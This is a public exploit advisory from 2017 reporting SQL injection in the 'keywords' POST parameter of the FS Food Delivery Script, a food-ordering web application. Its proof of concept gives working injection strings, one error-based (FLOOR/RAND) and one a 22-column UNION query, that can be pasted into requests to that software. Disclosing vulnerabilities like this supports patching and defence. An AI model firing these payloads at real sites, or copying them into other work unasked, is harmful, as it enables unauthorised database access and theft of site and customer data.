# Exploit Title: FS Food Delivery Script - SQL Injection # Date: 2017-10-23 # Exploit Author: 8bitsec # Vendor Homepage: https://fortunescripts.com/ # Software Link: https://fortunescripts.com/product/food-delivery/ # Version: 23 October 17 # Tested on: [Kali Linux 2.0 | Mac OS 10.12.6] # Email: contact@8bitsec.io # Contact: https://twitter.com/_8bitsec Release Date: ============= 2017-10-23 Product & Service Introduction: =============================== This is a versatile script to help you launch a online food delivery portal like Foodpanda. Technical Details & Description: ================================ SQL injection on [keywords] parameter. Proof of Concept (PoC): ======================= SQLi: https://localhost/[path]/food/ Parameter: keywords (POST) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: keywords=xxxxx' AND (SELECT 2438 FROM(SELECT COUNT(*),CONCAT(0x717a786a71,(SELECT (ELT(2438=2438,1))),0x7162717871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'TkKa'='TkKa&order_option=1&category=1&price=1000 Type: UNION query Title: Generic UNION query (NULL) - 22 columns Payload: keywords=xxxxx' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a786a71,0x497a704b724e4c4e665a556e6b626d45534a696d5a79554d726e506a686a6c5649627355675a6269,0x7162717871),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- hSOz&order_option=1&category=1&price=1000 ================== 8bitsec - [https://twitter.com/_8bitsec]